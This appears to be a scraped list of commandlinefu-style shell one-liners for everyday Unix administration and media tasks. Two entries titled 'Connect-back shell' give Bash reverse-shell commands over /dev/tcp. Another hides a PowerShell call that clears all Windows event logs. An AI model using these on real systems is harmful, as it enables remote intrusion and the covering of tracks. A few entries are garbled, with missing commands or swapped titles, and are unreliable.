Backup file, create dir and set perms in one shot
install -m 0400 foo bar/
Show all available cows
for i in /usr/share/cowsay/cows/*.cow; do cowsay -f $i "$i"; done
Do command when logged in from certain ips using ssh
if [ "${SSH_CLIENT%% *}" == "ipaddr" ]; then command; fi
Rename file to same name plus datestamp of last modification.
mv -iv $FILENAME{,.$(stat -c %y $FILENAME | awk '{print $1}')}
Fastest segmented parallel sync of a remote directory over ssh
lftp -u user,pwd -e "set sftp:connect-program 'ssh -a -x -T -c arcfour -o Compression=no'; mirror -v -c --loop --use-pget-n=3 -P 2 /remote/dir/ /local/dir/; quit" sftp://remotehost:22
Show memory usage of all docker / lxc containers
for line in `docker ps | awk '{print $1}' | grep -v CONTAINER`; do docker ps | grep $line | awk '{printf $NF" "}' && echo $(( `cat /sys/fs/cgroup/memory/docker/$line*/memory.usage_in_bytes` / 1024 / 1024 ))MB ; done
View all new log messages in real time with color
find /var/log -type f -iregex '.*[^\.][^0-9]+$' -not -iregex '.*gz$' 2> /dev/null | xargs tail -n0 -f | ccze -A
View online pdf documents in cli
curl 'LINK' | pdftotext - - | less
Convert PDF to JPG
for file in *.pdf; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 "$file" "${file//.pdf/.jpg}"; done
Securely destroy data on given device hugely faster than /dev/urandom
openssl enc -aes-256-ctr -pass pass:"$(dd if=/dev/urandom bs=128 count=1 2>/dev/null | base64)" -nosalt < /dev/zero > randomfile.bin
Performance tip: compress /usr/
[ ! -d /squashed/usr ] && mkdir -p /squashed/usr/{ro,rw} ; mksquashfs /usr /squashed/usr/usr.sfs.new -b 65536 ; mv /squashed/usr/usr.sfs.new /squashed/usr/usr.sfs ; reboot
camelcase to underscore
echo thisIsATest | sed -E 's/([A-Z])/_\L\1/g'
Batch Convert SVG to PNG (in parallel)
find . -name \*.svg -print0 | xargs -0 -n1 -P4 -I{} bash -c 'X={}; convert "$X" "${X%.svg}.png"'
gh or "grep history" - define a function gh combining history and grep to save typing
function gh () { history | grep $* ; } !!! Example "gh or "grep history"
Make changes in .bashrc immediately available
bashrc-reload() { builtin unalias -a; builtin unset -f $(builtin declare -F | sed 's/^.*declare[[:blank:]]\+-f[[:blank:]]\+//'); . ~/.bashrc; }
Remove orphaned dependencies on Arch
pacman -Qdt -q | xargs pacman --noconfirm -R
A simple command to toggle mute with pulseaudio (any sink)
pactl set-sink-mute 0 toggle
Grabs a random image from "~/wallpapers" and sets as the background
cd ~/wallpapers; feh --bg-fill "$( ls | sort -R | head -n 1 )"
Piping Microphone Audio Over Netcat
port=3333;card=0;subdevice=0;arecord -D hw:${card},${subdevice} -f S16_LE -c2|nc -l $port
Geolocate a given IP address
curl ipinfo.io/<ipaddress>
Tells the shell you are using
ps -p $$
Join the content of a bash array with commas
(IFS=,; echo "${array[*]}")
Find the most recent snapshot for an AWS EBS volume
aws ec2 describe-snapshots --filter 'Name=volume-id,Values=vol-abcd1234' | jq '.[]|max_by(.StartTime)|.SnapshotId'
drop first column of output by piping to this
awk '{for(i=2;i<=NF;i++) printf("%s%s",$i,(i!=NF)?OFS:ORS)}'
Simple complete system backup excluding files or directories
tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /
Display kernel profile of currently executing functions in Solaris.
lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out
Reinstall Grub
sudo grub-install --recheck /dev/sda1
Multi-thread any command
xargs -P 3 -n 1 <COMMAND> < <FILE_LIST>
Print all commands of a user on commandlinefu.com
python -c "import requests; from bs4 import BeautifulSoup; print '\n'.join([cmd.text for cmd in BeautifulSoup(requests.get('http://www.commandlinefu.com/commands/by/${USER}').content, 'html.parser').find_all('div','command')])"
Lists the size of certain file in every 10 seconds
watch -n 10 'du -sk testfile'
Get the list of local files that changed since their last upload in an S3 bucket
changing_assets = `s3cmd sync --dry-run -P -M --exclude=*.php --delete-removed #{preprod_release_dir}/web/ #{s3_bucket} | grep -E 'delete:|upload:' | awk '{print $2}' | sed s_#{preprod_release_dir}/web__`
get stdout to variable and stdout at sametime
{ var="$( ls / | tee >(cat - >&2) )"; } 2>&1; echo -e "*** var=$var"
extract element of xml
xmlstarlet sel -t -v "/path/to/element" file.xml
Download song from youtube for import into itunes (m4a format)
~/sbin/youtube-dl -t --extract-audio --audio-format=m4a http://www.youtube.com/watch?v=DxL8X9mT90k
Spawn a retro style terminal emulator.
cool-retro-term
Print the last modified file
ls -t1 | head -n1
Connect to all running screen instances
for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done
Monitor RX/TX packets and any subsquent errors
watch 'netstat -aniv'
HTTP GET request on wireshark remotly
ssh USER@HOST "sudo tshark -i eth0 -f 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' -w -" | wireshark -k -i -
Watch active calls on an Asterisk PBX
watch "asterisk -vvvvvrx 'core show channels' | egrep \"(call|channel)\""
Put terminal into vi mode
set -o vi
Connect to FreeWifi hotspot (France) and keep the connection active
while true ; do wget --quiet --no-check-certificate --post-data 'login=my_account_number&password=my_password&submit=Valider' 'https://wifi.free.fr/Auth' -O '/dev/null' ; sleep 600; done
convert wav files to ogg
oggenc *.wav
Restart X11 with HUP signal
kill HUP `pidof '/usr/bin/X'`
Automator Bash script to create Clean zips in MacOS Finder without __MACOSX metadata
echo "$@" for f in "$@"; do FILENAME=${f##*/};FILEPATH=${f%/*}; cd "${FILEPATH}"; zip -r "${f}".zip "${FILENAME}" -x "*.DS_Store" -x "__MACOSX"; done; afplay /System/Library/Sounds/Sosumi.aiff
Show only existing executable dirs in PATH using only builtin bash commands
for p in ${PATH//:/ }; do [[ -d $p && -x $p ]] && echo $p; done
Shell function to create a menu of items which may be inserted into the X paste buffer.
smenu() ( IFS=',' ; select x in $*; do echo "$x" | xsel -i; done )
Encrypt every file in the current directory with 256-bit AES, retaining the original.
for f in * ; do [ -f $f ] && openssl enc -aes-256-cbc -salt -in $f -out $f.enc -pass file:/tmp/password-file ; done
Open multiple tabs in Firefox from a file containing urls
for line in `cat $file`; do firefox -new-tab "$line" & 2>/dev/null; sleep 1; done
scheduled jobs
at <date> < jobs.sh
Edit 2 or more files in vim using vim -d
vim -d '+diffoff!' file1 file2
Get the Volume labels all bitlocker volumes had before being encrypted
sudo echo "BitLocker Volume labels:" && sudo dislocker-find | xargs -I{} sh -c 'echo -n "{} ->+ " ; sudo dislocker-metadata -V {} | grep string' | sed 's/+.*string://' | sed "s/'[^ ]* /\"/g" | sed 's/\ [^ ]*$/"/'
Count Files in a Directory with Wildcards.
find /dir/to/serach -maxdepth 1 -name "foo*.jpg"|wc -l
pop-up messages on a remote computer
while : ; do if [ ! $(ls -l commander | cut -d ' ' -f5) -eq 0 ]; then notify-send "$(less commander)"; > commander; fi; done
Set random background image in gnome
gconftool-2 -t str -s /desktop/gnome/background/picture_filename "$(find ~/Wallpapers -type f | shuf -n1)"
List only hidden files
ls -d .??*
View disk usage
du -hL --max-depth=1
Read random news on the internet
links $( a=( $( lynx -dump -listonly "http://news.google.com" | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | grep -v "google.com" | sort | uniq ) ) ; amax=${#a[@]} ; n=$(( `date '+%s'` % $amax )) ; echo ${a[n]} )
GZip all files in a directory separately
gzip *
Copy a file using dc3dd and watch its progress (very nice alternative to dd)
dc3dd progress=on bs=512 count=2048 if=/dev/zero of=/dev/null
Create .pdf from .doc
wvPDF test.doc test.pdf
Find all folder in /var that contains log in their path and have more than 10 files inside them, print the folder and the count
for i in `find -L /var/ -wholename \*log\* -type d`; do COUNT=`ls -1U $i | wc -l`; if [ $COUNT -gt 10 ]; then echo $i $COUNT; fi; done
Convert embedded spaces in filenames to "_" (underscore)
ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh !!! Example "rename filenames: spaces to "_"
Synchronize date and time with a server over ssh
date +%Y%m%d%T -s "`ssh user@server 'date "+%Y%m%d %T"'`"
Send e-mail if host is 'dead' or not reachable
10,30,50 * * * * ping -c1 -w3 192.168.0.14 >/dev/null
send DD a signal to print its progress
watch -n 1 pkill -USR1 "^dd$"
Display 6 largest installed RPMs sorted by size (descending)
rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 !!! Example "six largest RPMs
Twitter update from terminal (pok3's snipts ?)
curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml
get only time of execution of a command without his output
time Command >/dev/null
strace like SystemTap script
stap -v strace.stp -c /path/to/command
Download SSL server certificate with opsnessl
openssl s_client -connect www.example.com:443 > /tmp/example.com.cert
Count the number of pages of all PDFs in current directory and all subdirs, recursively
find . -name "*.pdf" -exec pdftk {} dump_data output \; | grep NumberOfPages | awk '{s+=$2} END {print s}'
Send command to all terminals in a screen session
Move cursor to end of line
Ctrl + e
List last opened tabs in firefox browser
F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done
PRINT LINE the width of screen or specified using any char including Colors, Escapes and metachars
L(){ l=`builtin printf %${2:-$COLUMNS}s` && echo -e "${l// /${1:-=}}"; }
fdiff is a 'filtered diff'. Given a text filter and two inputs, will run the filter across the input files and diff the output.
fdiff() { ${DIFFCMD:-diff} <( $1 $2 ) <( $1 $3 ); }
An alias to select a portion of your desktop and save it as an image.
alias capture='IMAGE="/home/user/Pictures/capture-`date +%Y%m%d%H%M%S`.png"; import -frame $IMAGE; echo "Image saved as $IMAGE"'
Exclude a string with awk
awk '{sub("String","")}1'
Email yourself a quick message
mailme(){ mailx -s "$@" $USER <<< "$@"; }
GREP a PDF file.
pdf2txt myfile.pdf | grep mypattern
Print interface that is up and running
ip addr | awk '/state UP/ {print $2}' | sed 's/.$//'
floating point operations in shell scripts
echo "5 k 3 5 / p" | dc
geoip information
geo(){ curl -s "http://www.geody.com/geoip.php?ip=$(dig +short $1)"| sed '/^IP:/!d;s/<[^>][^>]*>//g'; }
Insert a line for each n lines
ls -l | sed "$(while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --"
posts an xml file to a webservice with curl
curl -X POST -d @request.xml -H 'Content-Type: text/xml' https://hostname/context/service
Save a file you edited in vim without the needed permissions
:%!sudo tee %
Grep for regular expression globally, list files and positions.
find . -name "*.pbt" -exec grep -Hirn "declareObject.*Common_Down" {} \;
Paste hardware list (hwls) in html format into pastehtml.com directly from console and return URI.
listhw(){ curl -s -S --data-urlencode "txt=$(sudo lshw -html)" "http://pastehtml.com/upload/create?input_type=html&result=address";echo;}
Show sections of a man page.
man ls | egrep "^([A-Z]| [A-Z])"
Embed next line on the end of current line using sed
sed 'X{N;s/\n//;}' file.txt (where X is the current line)
Recursive Search and Replace
perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`
Load all files (including in subdirs), whose name matches a substring, into Vim
vim $(find . ! -path \*.svn\* -type f -iname \*foo\*)
Kill multiple instances of a running process
killall -9 rouge-process
Remove specific entries from iptables
iptables -L INPUT --line-numbers
Show a git log with offsets relative to HEAD
git log --oneline | nl -v0 | sed 's/^ \+/&HEAD~/'
purge all packages marked with 'rc'
sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'`
sort ugly text
sort -bdf
Get the dir listing of an executable without knowing its location
ls -l `which gcc`
git diff of files that have been staged ie 'git add'ed
git diff --cached
Update a tarball
tar -tf file.tar | tar -T - -uf file.tar
Trim linebreaks
cat myfile.txt | tr -d '\n'
Generat a Random MAC address
od -An -N10 -x /dev/random | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'
View any already in progress copy command in detail
sudo lsof -p1234 | grep -E "(3r|4w).*REG"
Track X Window events in chosen window
xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`
Insert a line for each n lines
ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}'
Determine next available UID
awk -F: '{uid[$3]=1}END{for(x=500; x<=600; x++) {if(uid[x] != ""){}else{print x; exit;}}}' /etc/passwd
cpu info
sudo dmidecode -t processor
Extract audio from a video
ffmpeg -i input.mp4 -vn -acodec copy output.m4a
Convert YAML to JSON
perl -MYAML::XS=LoadFile -MJSON::XS=encode_json -e 'for (@ARGV) { for (LoadFile($_)) { print encode_json($_),"\n" } }' *.yaml
Shrink more than one blank lines to one in VIM.
:%v/./,/./-j
Send a local file via email
cat filename | mail -s "Email subject" user@example.com
Display condensed log in a tree-like format.
git log --graph --pretty=oneline --decorate
lotto generator
echo $(shuf -n 6 -i 1-49 | sort -n)
socat TCP-LISTEN:5500 EXEC:'ssh user@remotehost "socat STDIO UNIX-CONNECT:/var/run/mysqld/mysqld.sock"'
Tunnel a MySQL server listening on a UNIX socket to the local machine
Find number of computers in domain, OU, etc .
dsquery computer DC=example,DC=com -limit 150 | find /c /v ""
Filter the output of a file continously using tail and grep
tail -f $FILENAME | grep --line-buffered $PATTERN
Compare prices in euro of the HTC Desire on all the european websites of Expansys.
for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<p id='price'><strong>€ \([0-9]*[,.][0-9]*\).*/\1/g"; done
Replace spaces in a filename with hyphens
rename 's/ /-/g' *
Paste command output to www.pastehtml.com in txt format.
paste(){ curl -s -S --data-urlencode "txt=$($*)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;}
Find non ascii characters in files in folder
find . -type f -regex '.*\.\(cpp\|h\)' -exec grep -Pl "[\x80-\xFF]" {} \; | xargs -I % bash -c 'echo "%"; grep --color='auto' -P -n "[\x80-\xFF]" "%"'
extract audio from flv to mp3
ffmpeg -i input.flv -f mp3 -vn -acodec copy ouput.mp3
Buffer in order to avoir mistakes with redirections that empty your files
buffer () { tty -s && return; tmp=$(mktemp); cat > "${tmp}"; if [ -n "$1" ] && ( ( [ -f "$1" ] && [ -w "$1" ] ) || ( ! [ -a "$1" ] && [ -w "$(dirname "$1")" ] ) ); then mv -f "${tmp}" "$1"; else echo "Can't write in \"$1\""; rm -f "${tmp}"; fi }
Delete all files older than X in given path
find . -mtime +10 -delete
Work out numerical last month
LASTMONTHNUM=`date -d "last month" +%m`
Create a file of a given size in linux
dd if=/dev/zero of=sparse_file bs=1024 skip=1024 count=1
Read funny developer comments in the Linux source tree
grep -2riP '\b(fuck|shit|bitch|tits|ass\b)' /usr/src/linux/
Alias TAIL for automatic smart output
alias tail='tail -n $((${LINES:-`tput lines 2>/dev/null||echo -n 80`} - 7))'
get the full description of a randomly selected package from the list of installed packages on a debian system
dpkg-query --status $(dpkg --get-selections | awk '{print NR,$1}' | grep -oP "^$( echo $[ ( ${RANDOM} % $(dpkg --get-selections| wc -l) + 1 ) ] ) \K.*")
reduce mp3 bitrate (and size, of course)
lame --mp3input -m m --resample 24 input.mp3
Send an email from the terminal when job finishes
wait_for_this.sh; echo "wait_for_this.sh finished running" | mail -s "Job Status Update" username@gmail.com
Clone starred github repos in parallel with unlimited speed, this example will clone 25 repositories in parallel at same time.
GITUSER=$(whoami); curl "https://api.github.com/users/${GITUSER}/starred?per_page=1000" | grep -o 'git@[^"]*' | parallel -j 25 'git clone {}'
using scanner device from command line
scanimage -d mustek_usb --resolution 100 --mode Color > image.pnm
Show your local ipv4 IP
ip -o -4 a s | awk -F'[ /]+' '$2!~/lo/{print $4}'
Check if filesystem hangs
ls /mnt/badfs &
convert a line to a space
echo $(cat file)
Connect-back shell using Bash built-ins
exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
List every file that has ever existed in a git repository
git log --all --pretty=format:" " --name-only | sort -u
remove newlines from specific lines in a file using sed
sed -i '/pattern/N; s/\n//' filename
Replicate a directory structure dropping the files
find . -type d -exec mkdir -p $DESTDIR/{} \;
Compute the average number of KB per file for each dir
parallel echo -n {}"\ "\;echo '$(du -s {} | awk "{print \$1}") / $(find {} | wc -l)' \| bc -l ::: *
Summary of disk usage, excluding other filesystems, summarised and sorted by size
du -xks * | sort -n
macOS: Save disk space by moving apps to external drives
sudo mv /Applications/foo /Volumes/bar/Applications/foo && sudo ln -s /Volumes/bar/Applications/foo /Applications/foo
Show every subdirectory (zsh)
ls -ld **/*(/)
ffmpeg command that transcodes a MythTV recording for Google Nexus One mobile phone
ffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800x480 -vcodec mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect 16:9 Chuck20100208800PMChuckVersustheMask.mp4
Top ten memory hogs
ps -eorss,args | sort -nr | pr -TW$COLUMNS | head
Connect-back shell using Bash built-ins
bash -i >& /dev/tcp/IP/PORT 0>&1
View internet connection activity in a browser
lsof -nPi | txt2html > ~/lsof.html
Get free RAM in %
free -m | awk '/cache:/ { printf("%d%\n",$3/($3+$4)*100)}'
Convert epoch date to human readable date format in a log file.
cat /var/log/mosquitto/mosquitto.log | awk -F : '{"date -d @"$1 |& getline D; print D, $0}'
Getting GnuPG Public Keys From KeyServer
gpg --keyserver pgp.surfnet.nl --recv-key 19886493
Set gnome wallpaper to a random jpg from the specified directory
gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`"
Update twitter with Perl
perl -MNet::Twitter -e '$nt = Net::Twitter->new(traits => [qw/API::REST/], username => "YOUR USERNAME", password => "YOUR PASSWORD"); $ud = $nt->update("YOUR TWEET");'
Recover deleted Binary files
sudo foremost -i /dev/sda -o /recovery
Get and read log from remote host (works with log on pipe, too)
ssh remoteUser@remoteHost "tail -f /var/log/scs/remoteLogName" | tee localLogName
quick integer CPU benchmark
echo '2^2^20' | time bc > /dev/null
Edit 2 or more files in vim using vim -d
vim -O file1 file2
Clear all Windows Event Log entries (cygwin)
cygstart --hide -wa runas powershell -WindowStyle Hidden -Command '"&{wevtutil el | foreach{wevtutil cl $_}}"'
Dump a configuration file without comments or whitespace…
grep -v "\ *#\|^$" /etc/path/to.config
Make ogg file from wav file
oggenc --tracknum='track' track.cdda.wav -o 'track.ogg'
Length of longest line of code
awk '(length>t) {t=length} END {print t}' *.cpp
Get the date for the last Saturday of a given month
cal 04 2012 | awk '{ $7 && X=$7 } END { print X }'
Replace "space" char with "dot" char in current directory file names
ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done
Display usb power mode on all devices
for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done
Save a file you edited in vim without the needed permissions - (Open)solaris version with RBAC
:w !pfexec tee %
Url Encode
echo "$@" | sed 's/ /%20/g;s/!/%21/g;s/"/%22/g;s/#/%23/g;s/\$/%24/g;s/\&/%26/g;s/'\''/%27/g;s/(/%28/g;s/)/%29/g;s/:/%3A/g'
Add a progress counter to loop (see sample output)
finit "1 2 3" 3 2 1 | while fnext i ; do echo $i; done;
List all files ever added in git repository
git log --name-status --oneline --all | grep -P "^[A|M|D]\s" | awk '{print $2}' | sort | uniq
Copy the sound content of a video to an mp3 file
ffmpeg -i source.flv -vn acodec copy destination.mp3
Join a folder full of split files
for file in *.001; do NAME=`echo $file | cut -d. -f1,2`; cat "$NAME."[0-9][0-9][0-9] > "$NAME"; done
Find all files containing a word
find . -name "*.php" | xargs grep -il searchphrase
Dump snapshot of UFS2 filesystem, then gzip it
dump -0Lauf - /dev/adXsYz | gzip > /path/to/adXsYz.dump.gz
shell function which allows you to tag files by creating symbolic links directories in a 'tags' folder.
tag() { local t="$HOME/tags/$1"; [ -d $t ] || mkdir -p $t; shift; ln $* $t;}
MP3 player
find . -name '*.mp3' | sort | while read -r mp3; do echo -e "<h3>$mp3</h3>\n<audio controls src=\"$mp3\"></audio>"; done > index.html; python -m http.server
Copy file to a Windows/Samba share without mounting it
smbclient --user=user%password --directory "<subdirectory>" --command "put <file>" //<server>/<share-name>
disable caps lock
xmodmap -e "remove Lock = Caps_Lock"
Create a video that is supported by youtube
ffmpeg -i mymovie.mpg -ar 22050 -acodec libmp3lame -ab 32K -r 25 -s 320x240 -vcodec flv mytarget.flv
Find all files containing a word
grep -rHi searchphrase *.php
Annoying PROMPT_COMMAND animation
PROMPT_COMMAND='seq $COLUMNS | xargs -IX printf "%Xs\r" @'
Print all /etc/passwd lines with duplicated uid
awk -F: 'BEGIN{a[NULL]=0;dupli[NULL]=0;}{if($3 in a){print a[$3];print ;}else a[$3]=$0;} ' /etc/passwd | sort -t: -k3 -n | sed -e 's/^/'$(hostname)':/g'
find which of the zip files contains the file you're searching for
find . -iname '*.zip' | while read file; do unzip -l "$file" | grep -q [internal file name] && echo $file; done
Run the last command as root - (Open)Solaris version with RBAC
pfexec !!
create SQL-statements from textfile with awk
$ awk '{printf "select * from table where id = %c%s%c;\n",39,$1,39; }' inputfile.txt
Check to make sure the whois nameservers match the nameserver records from the nameservers themselves
domain=google.com; for ns in $(whois $domain | awk -F: '/Name Server/{print $2}'); do echo ">>> Nameservers for $domain from $a <<<"; dig @$ns $domain ns +short; echo; done;
Get length of current playlist in xmms2
xmms2 list | grep '^\s\+\[' | wc -l
ttyS0 - terminal on serial connection
setserial -q /dev/ttyS0
edit hex mode in vim
:%!xxd
Awesomeness Confirmation Bias
iamawesome=$(curl -LsS iamawesome.com | echo -e "\n\n$(cat) \n\n");
Simple example of the trap command
trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP
Mac OS X - List all of my machine's IP addresses
ifconfig | awk '/inet / {print $2}'
DVD ripping with ffmpeg
ffmpeg -i concat:VTS_02_1.VOB\|VTS_02_2.VOB\|VTS_02_3.VOB\|VTS_02_4.VOB\|VTS_02_5.VOB -map 0:v:0 -map 0:a:0 -codec:a libvo_aacenc -ab 128 -codec:v libx264 -vpre libx264-ipod640 movie.mp4
Calculates the number of physical cores considering HyperThreading in AWK
awk -F: '/^core id/ && !P[$2] { CORES++; P[$2]=1 }; /^physical id/ && !N[$2] { CPUs++; N[$2]=1 }; END { print CPUs*CORES }' /proc/cpuinfo
Clean up after a poorly-formed tar file
tar ztf tar-lacking-subdirectory.tar.gz | xargs rm
mplayer -af scaletempo
mplayer -af scaletempo -speed 1.5 file.avi
Function to output an ASCII character given its decimal equivalent
chr() { printf \\$(printf %o $1); }
"What the hell is running on?!" Easily snoop your system's RAM consumption
ps aux | awk '$11!~/\[*\]/ {print $6/1024" Mb --> "$11,$12,$13,$14}' | sort -g
Mount iso to /mnt on Solaris
mount -F hsfs -o ro `lofiadm -a /sol-10-u7-ga-sparc-dvd.iso` /mnt
Short Information about loaded kernel modules
lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g'
Create commands to download all of your Picasaweb albums
google picasa list-albums |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ picasa\ get\ /|awk ' {print $0,"."}'
Quick searching with less
zcat file.gz | less +/search_pattern
Extract the MBR ID of a device
dd if=/dev/sda bs=1 count=4 skip=$((0x1b8)) 2>/dev/null | hexdump -n4 -e '"0x%x\n"'
ping with timestamp
ping HOSTNAME | while read pong; do echo "$(date): $pong"; done
exclude file(s) from rsync
rsync -vazuK --exclude "*.mp3" --exclude "*.svn*" * user@host:/path
Get information on your graphics card on linux (such as graphics memory size)
lspci -v -s `lspci | awk '/VGA/{print $1}'`
Rename a file with a random name
rf() { for i in "$@"; do mv "$i" "$(pwgen 8 1).${i##*.}"; done }
Touch a file using a timestamp embedded in the file name.
tstouch() { [[ $1 =~ $2 ]] && touch -t ${BASH_REMATCH[1]} $1; }
Top 10 Memory Consuming Processes
ps -auxf | sort -nr -k 4 | head -10
Monitor cpu in realtime.
watch grep \"cpu MHz\" /proc/cpuinfo
Get My Public IP Address
curl -s http://whatismyip.org/
watch your network load on specific network interface
watch -n1 'ifconfig eth0|grep bytes'
Are the two lines anagrams?
anagram(){ s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s $1) <(s $2)||echo -n "not ";echo anagram; }; anagram foobar farboo;
reset Mageia urpmi media sources to network only
urpmi.removemedia -a && urpmi.addmedia --distrib --mirrorlist
cd into the latest directory
alias cd1='cd $( ls -lt | grep ^d | head -1 | cut -b 51- )'
Invert selection with find.
find . ! -name "*.tar.gz"
Simple Video Surveillance by email
while true ; do fswebcam -d /dev/video0 -r 1280x1024 -F 15 - | uuencode $(date +\%Y\%m\%d\%H\%M).jpeg | mail -s "Video surveillance" $USER ; sleep 300 ; done
Get My Public IP Address
wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
Search for a
find . -type f -print0 | xargs -0 grep -i <pattern>
Remove audio stream from a media file
avconv -i infile.avi -an outfile.avi
Sed can refference parts of the pattern in the replacement:
echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g'
Returns the number of cores in a linux machine.
grep -c ^processor /proc/cpuinfo
Safely remove old unused kernels in Ubuntu/Debian
sudo aptitude purge ~ilinux-image-\[0-9\]\(\!`uname -r`\)
Find Out My Linux Distribution Name and Version
lsb_release -ri
Get playlist for Livestream on YouTube
youtube-dl --list-formats <URL>; youtube-dl -f <STREAM_ID> -g <URL>
display a smiling smiley if the command succeeded and a sad smiley if the command failed
Dump the root directory to an external hard drive
dump -0 -M -B 4000000 -f /media/My\ Passport/Fedora10bckup/root_dump_fedora -z2 /
Sort installed rpms by decreasing size.
rpm -qa --qf "%-10{SIZE} %-30{NAME}\n" | sort -nr | less
Find which service was used by which port number
getent services <port_number>
peak amount of memory occupied by any process with "FOO" in its name
grep VmHWM /proc/$(pgrep -d '/status /proc/' FOO)/status
Remove duplicate lines whilst keeping empty lines and order
awk '!NF || !seen[$0]++'
find and reduce 8x parallel the size of JPG images without loosing quality via jpegoptim
find /var/www/ -type f -name '*.[jJ][pP][gG]' -print0 | xargs -n 1 -P 8 -0 jpegoptim --strip-all --preserve --preserve-perms --quiet
This will take the last two commands from bash_history and open your editor with the commands on separated lines
fc -1 -2
Label EXT2/EXT3 File System
e2label /dev/vg0/lv0 MyFiles
Make shell (script) low priority. Use for non interactive tasks
renice 19 -p $$
Search for a
ack <pattern>
Sort installed rpms in alphabetic order with their size.
rpm -qa --qf "%-30{NAME} %-10{SIZE}\n" | sort -n | less
Print all environment variables, including hidden ones
for _a in {A..Z} {a..z};do _z=\${!${_a}*};for _i in `eval echo "${_z}"`;do echo -e "$_i: ${!_i}";done;done|cat -Tsv
Show LAN IP with ip(8)
ip route show dev eth0 | awk '{print $7}'
Make directories for and mount all iso files in a folder
for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`; done
Revert an SVN file to previous revision
svn up -rREV file
python2 -m CGIHTTPServer
starts a CGI web server
Get your outgoing IP address
curl -s httpbin.org/ip | jq -r .origin
Factory reset your android device via commandline.
am broadcast -a android.intent.action.MASTER_CLEAR
make a list of movies(.m3u).
find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u
Normalize volume in your mp3 library
find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +
Check if a command is available in your system
type {command} >/dev/null
Execute a command with a timeout
timeout -k 1m 30s some_command
fork performance test
while (true); do date --utc; done | uniq -c
Start a terminal with three open tabs
gnome-terminal --tab --tab --tab
Show permissions of current directory and all directories upwards to /
dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /
Copy a directory recursively without data/files
find . -type d -exec mkdir /copy_location/{} \;
Get all links from commandlinefu front page
mech-dump --links --absolute http://www.commandlinefu.com
Uninstall bloatware on your android device without root.
pm uninstall --user 0 com.package.name
Convert a date to timestamp
date --utc --date "2009-02-06 09:57:54" +%s
Delete .svn directories and content recursively
`find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`
Make info pages much less painful
pinfo date
Mount/unmount your truecrypted file containers
truecrypt volume.tc
Analyse writing style of writing style of a document
style TEXT-FILE
convert single digit to double digits
zmv '(?.ogg)' '0$1'
save command output to image
convert label:"$(ifconfig)" output.png
Know which version dpkg/apt considers more recent
dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n
paste one file at a time instead of in parallel
paste --serial file1 file2 file3
Comparison between the execution output of the last and penultimate command
diff <(!!) <(!-2)
Lists architecture of installed RPMs
rpm -qa --queryformat "%{NAME} %{ARCH}\n"
fetch all revisions of a specific file in an SVN repository
svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh
Write a listing of all directories and files on the computer to a compressed file.
sudo ls -RFal / | gzip > all_files_list.txt.gz
Apache CLF access log format to CSV converter
#(see sample) $ cat x | perl -pe 'BEGIN{ print "TIME;...\n"; } s!(\S+) - (\S+) - \[(\d\d)/(\S\S\S)/(\S+):(\d\d):(\d\d:\d\d) \S+\] "(\S+) (.*/)(\S+)(?:\.([^?]*)(\?\S*)?) HTTP/\S+" (\d+) (\S+)!$3-$4-$5 $6:$7;$6;$2;$1;$8;$13;1;$14;$11;$10;$9;$12;!' > x.csv
Change Gnome wallpaper
